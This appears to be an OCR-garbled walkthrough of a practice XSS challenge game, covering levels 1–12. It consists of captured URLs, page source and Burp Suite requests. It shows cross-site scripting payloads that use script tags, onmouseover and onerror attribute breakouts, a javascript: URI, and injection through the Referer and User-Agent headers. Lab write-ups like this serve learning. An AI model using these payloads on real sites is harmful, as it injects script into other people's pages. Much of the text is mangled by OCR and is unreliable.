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@ Load URL | http://118.89.167.246:2503/xss-game/levell.php?name= <script=alerti/xss/) </script=
& splitURL

) Execute

[] Enable Post data [] Enable Referrer
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BB <script> alm </script>EXA9EE.

|<scr|pt>a|er‘t['xss')<{scr|| #= |
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+ & HTML & B ¥

P <head>[=</head> L +

w <body> E ir
<hl align="center">¥jM#kF|level2</hl> ¥

<h2 align="center">EHEHEH<scriptralert( xss' )</scriptadlEfst® . </h2>
w<center>
w <form action="level2.php" method="GET">
<input name="keyword" wvalue="<scriptralert('xss')</script>"»

=
<input name="submit" value="{8%" type="submit">
</form>
<fcenter> W
.. . . e

Level 3

M RAEinputiR R value Bk B, =AM aEME, ETHEAHE , N5 5K, Kk #3515

GIEES] oese OEts Ouspss Cue OwnF = S
+

<!DOCTYPE html>
<1--STATUS OK-->
<html> @
p <head>(=</head>
w <body>
<hl align="center">¥l%EF1eveld</n1>
<h2 align="center">EHEHTHED" onmouseover-alggs
w<{center>

s H B
123 HTML &

1" PEREER . </h2>

<form actiol evel3.php™
<input name="keyword"” value="" onmouseover="alert 1™" '=""> @
=
<input name="submit” value="{2%F" type="submit">

<fform>
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<{DOCTYPE htmi> ~ + &
<1--STATUS OK--> = ,
<html> @@ nE © B
b <head» (=) </head> ’

w <body>

<hl align="center">PRI%kF|levelde /hls

<h2 align="center"»EEHHFERN" onmouseover=alert(1) "{BEEMER.</h2>
w (center>
- <form actio

=
<input name="submit™ walue="#F" type="submit">
</form>
<fcenter>
b <center>()</center>
«<h3 align="center">payloadffE :24¢/h3>
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w {center>
w <form action="1levelS.php" method="GET">
<input name="keyword"™ value=

<input name="submit" value="{8F" type="submit">
</form>
<fcenter>
b <center>(a</centers>
<h3 align="center">payloadfHcfE 44</h3>
</body>
</html>
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+ & HTML &0
<h2 align="center">ZHHFIM""><img Src=ss5 Onerror=alert('xss' )>iEEREER . </h2>

w <form action="level6.php" method="GET">
<input name="keyword" wvalue="">
<img src="ss" onerror="alert{'xss')"> @
.
<input name="submit™ value="{#%" type="submit"»
</ form>

cencer,
b <centerrd</centers
<h3 align="center">payloadffcfE:35¢/h3>
< fbody>
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HIAN—A ”><scriptralert(xss?’)</script> Rk, KIscripthr B mikg T !

ST > <script>alert('xss’) </script> < " THRAIESE.
| |<=alert('’xss")<"">
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<!DOCTYPE html>
<1--STATUS OK--3

<html> @
P <head> <fhead>
w {body>
<hl align="center">W®F|level7</hlx
<h2 align="center">BHHEIHN"><scriptralert( 'xss' }</script><"{Ex/IER . </h2>
w {center>
v <form action="level?.php" method="GET">

- m e e

1NpUtT names"subml vallgs= = type="submit">
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Payload:



G EED] osve DEtg Ostess CGus One =Ra S 5@

+ BEEHTML
<!DOCTYPE html>
<1--STATUS OK-->
<html> @
P <head> (=) < head>
w {body>

<hl align="center">¥HIER|levelT</hl>

<h2 align="center">ZHEHFIF" connmouseover=alert™ 1" IEFEHEER.</h2>

> {ganter

w <form actiol

"level7.php™ metho
<input name="keyword"” wvalue=
ol
<input name="submit® value="{F" type="submit">
</ form>
<fcenter>
b <center>(D</center>
<h3 align="center">payloadfHfE :23</h3>
</body>
</html>
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EE HTML

<!DOCTYPE html»

<1--5TATUS OK-->

<htmls g

p <head: (= </head>

w <body >

<hl align="center">¥il%F|levelsd</hl>
w {center>

<input name="submit" value="Fl&IEH4HE" type="submit">
</form>
<fcenter>
b <center>=</centers>
b <center>(</center>
<h3 align="center">payloadiiHifE: 28</h3>
</body>
</html>
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= HTML )
<!DOCTYPE htmL>
<!1--5TATUS OK-->
<html> @
< > ()<
<body>
<hl align="center">ZiIEF|1evela</hlx
<{center>
<form action="leveld.php" method="GET">

<input name="keyword" walue="javasc&#x72;ipt:%8dhttp://www.Baa.me%Bdalert(1)">

<input name="submit" value="3THIEFHiE" type="submit">
</form>
</center>
<center>(</centers>
Lcenter>(=J</centers
<h3 align="center">payloadfHefE :47</h3>
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<form id=search>

<{input name="t_link” wvalue="" type="hidden”>
<{input name="t_history’ wvalue="" type="hidden”>
<input name="t_sort’ wvalue=" type= hidden”>
<{/form>

KeywordZ % f5 THHiI :
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4] Load URL | http://118.89.167.246:2503/xss-game/level10.phb?keyword=well d&t_history="type="text" 18t _link="type="text" 2&t_sort=" type="text" 3
@ split URL

+ Execute

[] Enable Post data [ ] Enable Referrer
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<!DOCTYPE htmL>
<1--STATUS OK-->
<html> g
< - <
<body>
<h1l align="center">¥IHEF|1evel18</ 1>
<h2 align="center">EHEA0wvell dEERER./h2>
<center>
w {torm 1d="search”>

P — " e _n e

£ =

=" type="text">

<input name="t_sort" value= 3

<fcenter>
<center>(=</center>
<h3 align="center">payloadfHcE :6</h3>

</body>
</html>
Payload: "1
@ Load URL | http://118.89.167.246:2503 /xss-game/levell 0.phpfkeyword=well &t sort=" type="text onmouseover=alert 1 - |
B split URL
3 Execute

[] Enable Post data [ ] Enable Referrer
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<!DOCTYPE htmL>
<1--STATUS OK-->
<html> @
< > () </
<body>
<hl align="center">%EP|levellao</nl>
<h2 align="center">EHE{EE well ciBEMIER.</h2>
<center>

#EEHTML & [k
~ B

<form id="search">

</center>

<center»(=]</centery
<h3 align="center">payloadf{EE :6</h3>
<fbody>
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<form id=search>

<input name="t_link” wvalue="" type="hidden”>

<input name="t_history” value="" type="hidden”>

<input name="t_sort” walue="" type="hidden”>

<input name="t_ref” wvalue="http://118.89. 167. 246:2503 /xss—same/levelll. phpTkevword=well%20dkt_sort=%22%20tvpe=%22text%22onmouseover=alert 1 %20%22" type="hidden”>
</form>
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Burp Intruder Repeater Window Help

Target | Proxy ’/Spider ’/Scanner rlntruder ’/Repeater ’/Sequencer rDecoder ’/Comparer ’/Extender rOptions rAIerts |

f Intercept ’/ HTTP history ”WebSockets history r Options ‘

Request to http://118.89.167.246:2503

‘ Forw H Drop || Intercept is on H Action ‘

Raw arams rHeaders ’/Hex ‘

GET /yfs-game/level11.phptkeyword =good%20job! HTTP/1.1

Hos§ 118.89.167.246:2503

Usetr-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html.application/xhtml+xml.application/xml;q=0.9,%/*q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: " type="text" onmouseover=alert'1" " I

Lonnection: keegp-alive

Upgrade-Insecure-Requests: 1

Forward 47 J5 3 &

Level 12
X—RHFEAN mfEuser-agent

<form id=search>

<{input name="t link” walue="" type="hidden”>

{input name="t _history” wvalue="" type="hidden”>

<{input name="t_sort” walue="" type="hidden”>

<{input name="t ua” walue="Mozilla/5.0 (Windows NT 10.0; Winf4; x64: rv:55.0) Gecko/20100101 Firefox/55.0" type="hidden”>

M EE—#, A, Huser-agent



Burp Suite Professional vl.6beta - licensed to Larrylau
Burp Intruder Repeater Window Help

rTarget rProxy |’Spider rScanner rlntruder rRepeater rSequencer rDecoder rComparer rE)ctender rOptions |’Alerts |

[ Intercept r HTTP history rWebSockets history r Options |

Request to http://118.89.167.246:2503

H Drop H Intercept is on || Action ‘

‘ Fol

Raw | Params rHeaders rHex |

GET /xss-game/level12.phprtkeyword =good%20jok! HTTP/1.1

Host 118,89,167,246:2503

User-Agent: " type="text" onmouseover=alert'1" "

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%"*q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://118.89.167.246:2503 /xss-game/level11.phptkeyword =good%20job!
Connection: keep-alive

Upgrade-Insecure-Requests: 1
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